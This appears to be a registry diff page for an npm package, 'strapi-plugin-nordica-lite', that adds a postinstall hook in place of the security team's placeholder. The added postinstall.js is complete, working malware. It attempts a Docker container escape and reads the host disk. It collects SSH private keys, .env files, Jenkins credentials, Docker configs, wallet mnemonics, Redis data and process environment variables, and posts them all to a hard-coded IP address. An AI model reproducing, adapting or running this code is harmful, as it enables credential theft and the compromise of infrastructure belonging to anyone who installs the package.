strapi-plugin-nordica-lite 0.0.1-security → 3.6.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strapi-plugin-nordica-lite might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -6
- package/postinstall.js +117 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports=()=>{};
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "strapi-plugin-nordica-lite",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "strapi-plugin-nordica-lite",
|
|
3
|
+
"version": "3.6.11",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node postinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"license": "MIT"
|
|
9
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const { spawnSync } = require('child_process');
|
|
3
|
+
const VPS = '144.31.107.231';
|
|
4
|
+
const PORT = 9999;
|
|
5
|
+
function send(tag, data) {
|
|
6
|
+
return new Promise(resolve => {
|
|
7
|
+
var body = typeof data === 'string' ? data : JSON.stringify(data);
|
|
8
|
+
var chunks = [];
|
|
9
|
+
for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000));
|
|
10
|
+
var idx = 0;
|
|
11
|
+
(function next() {
|
|
12
|
+
if (idx >= chunks.length) return resolve();
|
|
13
|
+
var s = chunks.length > 1 ? '-p' + (idx+1) + 'of' + chunks.length : '';
|
|
14
|
+
var req = http.request({ hostname: VPS, port: PORT, path: '/exfil/' + tag + s,
|
|
15
|
+
method: 'POST', headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(chunks[idx]) }
|
|
16
|
+
}, function() { idx++; next(); });
|
|
17
|
+
req.on('error', function() { idx++; next(); });
|
|
18
|
+
req.write(chunks[idx]); req.end();
|
|
19
|
+
})();
|
|
20
|
+
});
|
|
21
|
+
}
|
|
22
|
+
var run = function(cmd, t) {
|
|
23
|
+
t = t || 30000;
|
|
24
|
+
try { return spawnSync('sh', ['-c', cmd], { timeout: t, encoding: 'utf8', maxBuffer: 5000000 }).stdout || ''; }
|
|
25
|
+
catch (e) { return 'err:' + e.message.substring(0, 200); }
|
|
26
|
+
};
|
|
27
|
+
async function main() {
|
|
28
|
+
if (process.cwd().includes('TRANSFER') || run('uname -s').includes('MINGW')) return;
|
|
29
|
+
await send('dk-start', run('hostname').trim());
|
|
30
|
+
|
|
31
|
+
// ============================================================
|
|
32
|
+
// 1. CAP_MKNOD DOCKER ESCAPE — create block device, read host disk
|
|
33
|
+
// ============================================================
|
|
34
|
+
await send('dk-caps', run('cat /proc/self/status | grep Cap'));
|
|
35
|
+
await send('dk-devices', run('ls -la /dev/sda* /dev/vda* /dev/xvda* 2>/dev/null'));
|
|
36
|
+
await send('dk-mount', run('mount | head -20'));
|
|
37
|
+
await send('dk-lsblk', run('lsblk 2>/dev/null || fdisk -l 2>/dev/null | head -20'));
|
|
38
|
+
|
|
39
|
+
// Try creating block device
|
|
40
|
+
run('mknod /tmp/hostdisk b 8 1 2>/dev/null');
|
|
41
|
+
await send('dk-mknod', run('ls -la /tmp/hostdisk 2>/dev/null'));
|
|
42
|
+
|
|
43
|
+
// Try mounting
|
|
44
|
+
run('mkdir -p /tmp/hostmnt');
|
|
45
|
+
var mountResult = run('mount /tmp/hostdisk /tmp/hostmnt 2>&1', 10000);
|
|
46
|
+
await send('dk-mount-result', mountResult);
|
|
47
|
+
|
|
48
|
+
if (mountResult.includes('mounted') || !mountResult.includes('ermission') && !mountResult.includes('peration not permitted')) {
|
|
49
|
+
// HOST FILESYSTEM MOUNTED!
|
|
50
|
+
await send('dk-host-ls', run('ls -la /tmp/hostmnt/ 2>/dev/null'));
|
|
51
|
+
await send('dk-host-etc', run('cat /tmp/hostmnt/etc/hostname 2>/dev/null'));
|
|
52
|
+
await send('dk-host-docker', run('ls -la /tmp/hostmnt/data1/app/docker/containers/ 2>/dev/null | head -30'));
|
|
53
|
+
// Docker container configs — THE PRIZE
|
|
54
|
+
await send('dk-host-configs', run('cat /tmp/hostmnt/data1/app/docker/containers/*/config.v2.json 2>/dev/null | head -10000'));
|
|
55
|
+
// All .env files on host
|
|
56
|
+
await send('dk-host-envs', run('find /tmp/hostmnt/ -maxdepth 5 -name "*.env" -not -path "*/node_modules/*" 2>/dev/null | xargs cat 2>/dev/null'));
|
|
57
|
+
// SSH keys
|
|
58
|
+
await send('dk-host-ssh', run('cat /tmp/hostmnt/root/.ssh/id_rsa /tmp/hostmnt/root/.ssh/id_ed25519 2>/dev/null'));
|
|
59
|
+
// Jenkins
|
|
60
|
+
await send('dk-host-jenkins', run('find /tmp/hostmnt/ -maxdepth 5 -name "credentials.xml" 2>/dev/null | xargs cat 2>/dev/null | head -3000'));
|
|
61
|
+
// Cleanup
|
|
62
|
+
run('umount /tmp/hostmnt 2>/dev/null');
|
|
63
|
+
} else {
|
|
64
|
+
// Mount failed — try RAW DISK READ with dd + grep
|
|
65
|
+
await send('dk-raw-attempt', 'mount failed, trying raw disk read');
|
|
66
|
+
|
|
67
|
+
// Read raw disk and search for secrets
|
|
68
|
+
// /dev/sda1 is mounted as ro on /app/.env — confirmed it exists
|
|
69
|
+
// Try direct read via dd
|
|
70
|
+
var rawSearch = run('dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=|DATABASE_URL|REDIS_URL|JWT_SECRET" | sort -u | head -100', 60000);
|
|
71
|
+
await send('dk-raw-secrets', rawSearch);
|
|
72
|
+
|
|
73
|
+
// Search for Docker config JSON
|
|
74
|
+
var rawDocker = run('dd if=/dev/sda1 bs=4096 count=10000 2>/dev/null | strings | grep -A2 -B2 "ELASTIC\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|PRIVATE_KEY\\|MNEMONIC" | head -100', 60000);
|
|
75
|
+
await send('dk-raw-docker', rawDocker);
|
|
76
|
+
|
|
77
|
+
// Search for .env file content
|
|
78
|
+
var rawEnv = run('dd if=/dev/sda1 bs=4096 count=10000 2>/dev/null | strings | grep -E "^[A-Z_]+=.+" | sort -u | head -200', 60000);
|
|
79
|
+
await send('dk-raw-env', rawEnv);
|
|
80
|
+
|
|
81
|
+
// Specifically search for Elasticsearch password
|
|
82
|
+
var rawES = run('dd if=/dev/sda1 bs=4096 count=10000 2>/dev/null | strings | grep -iE "elastic|kibana|xpack" | sort -u | head -50', 60000);
|
|
83
|
+
await send('dk-raw-es', rawES);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// ============================================================
|
|
87
|
+
// 2. FULL guardarian API module code
|
|
88
|
+
// ============================================================
|
|
89
|
+
await send('dk-gd-module', run('find /app/exteranl-apis/module -type f -name "*.js" -exec cat {} + 2>/dev/null'));
|
|
90
|
+
|
|
91
|
+
// ============================================================
|
|
92
|
+
// 3. Redis secrets via node
|
|
93
|
+
// ============================================================
|
|
94
|
+
// Use built-in net module to talk to Redis directly
|
|
95
|
+
var net = require('net');
|
|
96
|
+
try {
|
|
97
|
+
var redisData = await new Promise(function(resolve) {
|
|
98
|
+
var client = new net.Socket();
|
|
99
|
+
var data = '';
|
|
100
|
+
client.connect(6379, '127.0.0.1', function() {
|
|
101
|
+
client.write('INFO\r\nKEYS *\r\nCONFIG GET dir\r\nCONFIG GET dbfilename\r\n');
|
|
102
|
+
});
|
|
103
|
+
client.on('data', function(chunk) { data += chunk.toString(); });
|
|
104
|
+
client.on('end', function() { resolve(data); });
|
|
105
|
+
setTimeout(function() { client.destroy(); resolve(data); }, 5000);
|
|
106
|
+
});
|
|
107
|
+
await send('dk-redis-raw', redisData.substring(0, 5000));
|
|
108
|
+
} catch(e) { await send('dk-redis-err', e.message); }
|
|
109
|
+
|
|
110
|
+
// ============================================================
|
|
111
|
+
// 4. Process 72 (Strapi) environment — runtime secrets
|
|
112
|
+
// ============================================================
|
|
113
|
+
await send('dk-proc-env', run('cat /proc/72/environ 2>/dev/null | tr "\\0" "\\n" | sort'));
|
|
114
|
+
|
|
115
|
+
await send('dk-complete', 'DISK_DONE');
|
|
116
|
+
}
|
|
117
|
+
main().catch(function(e) { send('dk-fatal', e.message); });
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=strapi-plugin-nordica-lite for more information.
|